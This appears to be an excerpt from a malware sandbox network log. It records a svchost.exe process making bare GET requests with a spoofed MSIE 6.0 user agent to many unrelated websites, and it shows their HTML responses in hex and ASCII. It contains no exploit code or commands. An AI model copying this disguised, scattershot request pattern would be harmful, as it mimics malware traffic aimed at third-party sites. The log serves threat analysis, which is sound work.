2023-03-10 06:56:58 UTC	2877	IN	Data Raw: 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 20 63 65 6e 74 65 72 20 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 68 6f 6d 65 22 3e 0a 3c 66 69 67 75 72 65 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 65 66 66 65 63 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 62 75 74 74 6f 6e 20 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 68 6f 6d 65 2f 63 61 6e 67 75 72 6f 2d 62 61 6a 61 2e 6a 70 67 22 20 61 6c 74 3d 22 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f Data Ascii: ><div class="g-content"><div class="moduletable "><div class="g-promoimage center g-promoimage-home"><figure class="g-promoimage-effect"><span class="g-promoimage-iconbutton "></span><img src="/images/home/canguro-baja.jpg" alt=""><div class="g-pro
2023-03-10 06:56:58 UTC	2879	IN	Data Raw: 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 66 65 61 74 75 72 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 2d 38 31 32 34 22 20 63 6c 61 73 73 3d 22 67 2d 77 72 61 70 70 65 72 22 3e 0a 3c 64 69 76 20 Data Ascii: /div></div></div></div></section><section id="g-feature"><div class="g-container"> <div class="g-grid"><div class="g-block size-100"><div class="spacer"></div></div></div></div></section><section id="g-container-8124" class="g-wrapper"><div
2023-03-10 06:56:58 UTC	2880	IN	Data Raw: 6e 20 31 20 63 69 74 61 20 64 65 20 6f 6e 63 6f 6c 6f 67 c3 ad 61 2d 20 4f 70 63 69 c3 b3 6e 20 32 20 70 72 6f 67 72 61 6d 61 63 69 c3 b3 6e 20 64 65 20 63 69 72 75 67 c3 ad 61 2d 20 4f 70 63 69 c3 b3 6e 20 33 20 6f 74 72 61 73 20 63 69 74 61 73 20 3c 62 72 3e 0a 48 6f 72 61 72 69 6f 20 64 65 20 61 74 65 6e 63 69 c3 b3 6e 3a 20 4c 75 6e 20 2d 20 56 69 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 35 3a 30 30 20 70 2e 6d 2e 20 6a 6f 72 6e 61 64 61 20 43 6f 6e 74 69 6e 75 61 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 74 72 6f 6e 67 3e 43 69 74 61 73 20 50 72 6f 67 72 61 6d 61 20 43 61 6e 67 75 72 6f 3a 20 3c 70 3e 36 30 37 36 34 33 30 30 32 36 20 45 78 74 2e 33 36 31 2d 33 36 34 20 2d 20 3c 62 72 3e 20 3c 73 74 72 6f 6e 67 3e 48 6f 72 61 72 69 6f Data Ascii: n 1 cita de oncologa- Opcin 2 programacin de ciruga- Opcin 3 otras citas <br>Horario de atencin: Lun - Vie 7:00 a.m. a 5:00 p.m. jornada Continua.</br><br></br><strong>Citas Programa Canguro: <p>6076430026 Ext.361-364 - <br> <strong>Horario
2023-03-10 06:56:58 UTC	2881	IN	Data Raw: 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 43 61 6c 6c 65 20 34 38 20 23 20 32 35 2d 35 36 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 43 61 6c 6c 65 20 34 38 20 23 20 32 35 2d 35 36 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 Data Ascii: <div class="g-contact-label">Calle 48 # 25-56</div> <div class="g-contact-text">Calle 48 # 25-56</div> </div><div class="g-contact-item"><div class="g-contact-label">Nuevo Sotomayor</div> <div class="g-contact-text">Nuevo Sotomayor</div> </div><div cla
2023-03-10 06:56:58 UTC	2883	IN	Data Raw: 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 20 73 69 7a 65 2d 33 33 2d 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6c 6f 67 6f 2d 32 34 34 34 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 61 20 68 72 65 66 3d 22 2f 22 20 74 69 74 6c 65 3d 22 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 63 6c 61 73 73 3d 22 67 2d 66 6f 6f 74 65 72 2d 6c 6f 67 6f 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 32 30 32 31 2f 49 63 6f 6e 74 65 63 5f 4c 6f 67 6f 2e 6a 70 67 22 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e 20 4c 75 69 73 22 20 2f 3e Data Ascii: class="g-container"> <div class="g-grid"><div class="g-block size-33-3"><div id="logo-2444-particle" class="g-content g-particle"> <a href="/" title="" rel="home" class="g-footer-logo"><img src="/images/2021/Icontec_Logo.jpg" alt="Clinica San Luis" />
2023-03-10 06:56:58 UTC	2884	IN	Data Raw: 34 61 37 0d 0a 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 70 69 6e 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 74 3b 22 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 62 6f 74 74 6f Data Ascii: 4a7nc="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script type="text/javascript" src="/media/gantry5/assets/js/main.js"></script><p class="pin"><span style="font-size: 10pt;"><div style="position: fixed; botto
2023-03-10 06:56:58 UTC	2885	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.6	2107	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:58 UTC	2885	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-03-10 06:56:58 UTC	2885	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 10 Mar 2023 06:56:58 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:58 UTC	2886	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.6	2106	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:58 UTC	2886	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-03-10 06:56:58 UTC	2886	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Mar 2023 06:57:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-03-10 06:56:58 UTC	2887	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-03-10 06:56:58 UTC	2903	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 20 20 20 20 0d 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 21 2d 2d 20 20 74 6f 70 6e 65 77 73 2e 20 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 20 20 2d 2d 0d 0a 32 30 30 30 0d 0a 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 0d 0a 20 20 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 2d 6c 65 66 74 20 20 2d 2d 3e 0d 0a 20 20 3c 61 72 74 69 63 6c 65 20 69 64 3d 22 77 74 78 74 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 66 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 20 61 6b 74 75 61 6c Data Ascii: </div> </div> </article> </section> </section></div>... topnews. -->... content --2000><div id="content"> ... content-left --> <article id="wtxt" class="mainLeft"> ... aktual
2023-03-10 06:56:58 UTC	2919	IN	Data Raw: 74 3a 31 37 39 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2c 5a 6f 73 74 61 6e 2d 6a 65 64 6e 79 6d 2d 7a 2d 6e 61 73 2d 50 52 41 43 41 2d 57 2d 50 4f 4c 49 43 4a 49 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2e 6a 70 67 3f 0d 0a 31 30 30 30 0d 0a 76 3d 31 36 35 37 31 31 32 36 31 38 22 20 61 6c 74 3d 22 5a 6f 73 74 61 c5 84 20 6a 65 64 6e 79 6d 20 7a 20 6e 61 73 20 2d 20 50 52 41 43 41 20 57 20 50 4f 4c 49 43 4a 49 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 Data Ascii: t:179px;margin-bottom:10px"><a href="/w20/batony/4596,Zostan-jednym-z-nas-PRACA-W-POLICJI.html" target="_top"><img src="/dokumenty/batony/4596.jpg?1000v=1657112618" alt="Zosta jednym z nas - PRACA W POLICJI" /></a></div><div class="item"
2023-03-10 06:56:58 UTC	2935	IN	Data Raw: 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 66 6f 6f 74 65 72 3e 0d 0a 20 20 20 20 20 20 3c 21 2d 2d 20 66 6f 6f 74 65 72 20 2e 2d 2d 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2d 2d 3e 0d 0a 20 20 09 3c 64 69 76 20 69 64 3d 22 62 61 63 6b 2d 74 6f 2d 74 6f 70 22 3e 3c 61 20 68 72 65 66 3d 22 23 70 61 67 65 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 0d 0a 61 34 0d 0a 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 50 6f 77 72 c3 b3 74 20 6e 61 20 67 c3 b3 72 c4 99 20 73 74 72 6f 6e 79 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 09 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2e 2d Data Ascii: div> </div> </footer> ... footer .--> </div> ... GoToTop --> <div id="back-to-top"><a href="#page"><span></span><span a4class="sr-only">Powrt na gr strony</span></a></div> ... GoToTop .-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.6	2113	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:58 UTC	2886	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-03-10 06:56:58 UTC	2886	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 10 Mar 2023 06:56:58 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:58 UTC	2886	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.6	52125	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:14 UTC	248	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:14 UTC	281	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:14 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:14 UTC	281	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.6	2116	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:58 UTC	2935	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:58 UTC	2935	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:58 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:58 UTC	2936	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.6	2081	5.189.171.125	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:58 UTC	2936	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.muhr-soehne.de
2023-03-10 06:56:58 UTC	2937	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:58 GMT Server: Apache/2.4.38 (Debian) Last-Modified: Thu, 02 Mar 2023 15:05:19 GMT Accept-Ranges: bytes Content-Length: 51841 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
2023-03-10 06:56:58 UTC	2937	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 21 2d 2d 20 0a 09 6d 61 64 65 20 62 79 20 50 53 56 6e 65 6f 0a 0a 09 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 6f 77 65 72 65 64 20 62 79 20 54 59 50 4f 33 20 2d 20 69 6e 73 70 69 72 69 6e 67 20 70 65 6f 70 6c 65 20 74 6f 20 73 68 61 72 65 21 0a 09 54 59 50 4f 33 20 69 73 20 61 20 66 72 65 65 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 20 69 6e 69 74 69 61 6c 6c 79 20 63 72 65 61 74 65 64 20 62 79 20 4b 61 73 70 65 72 20 53 6b 61 61 72 68 6f 6a 20 Data Ascii: <!DOCTYPE html><html dir="ltr" lang="de"><head><meta charset="utf-8">... made by PSVneoThis website is powered by TYPO3 - inspiring people to share!TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj
2023-03-10 06:56:58 UTC	2953	IN	Data Raw: 20 20 20 20 20 20 20 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 6c 61 79 6f 75 74 2d 30 20 20 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 76 65 72 73 63 68 6c 69 65 Data Ascii: Verschliemaschinen </a> </li> <li class="nav-item layout-0 "> <a href="/verschlie
2023-03-10 06:56:58 UTC	2969	IN	Data Raw: 66 72 61 6d 65 2d 6c 61 79 6f 75 74 2d 30 20 20 20 6d 74 2d 30 20 6d 62 2d 30 0a 20 20 20 20 0a 0a 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 6c 2d 33 20 63 6f 6c 2d 6c 67 2d 36 20 63 6f 6c 2d 6d 64 2d 36 20 63 6f 6c 2d 73 6d 2d 31 32 20 63 6f 6c 2d 31 32 20 6d 79 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 72 76 69 63 65 62 6f 78 20 68 2d 31 30 30 20 62 67 2d 6c 69 67 68 74 2d 67 72 65 79 20 64 2d 66 6c 65 78 20 66 6c 65 78 2d 63 6f 6c 75 6d 6e 20 68 2d 31 30 30 20 77 2d 31 30 30 20 70 2d 33 20 22 3e 0a Data Ascii: frame-layout-0 mt-0 mb-0 "> <div class="row"> <div class="col-xl-3 col-lg-6 col-md-6 col-sm-12 col-12 my-4"> <div class="servicebox h-100 bg-light-grey d-flex flex-column h-100 w-100 p-3 ">
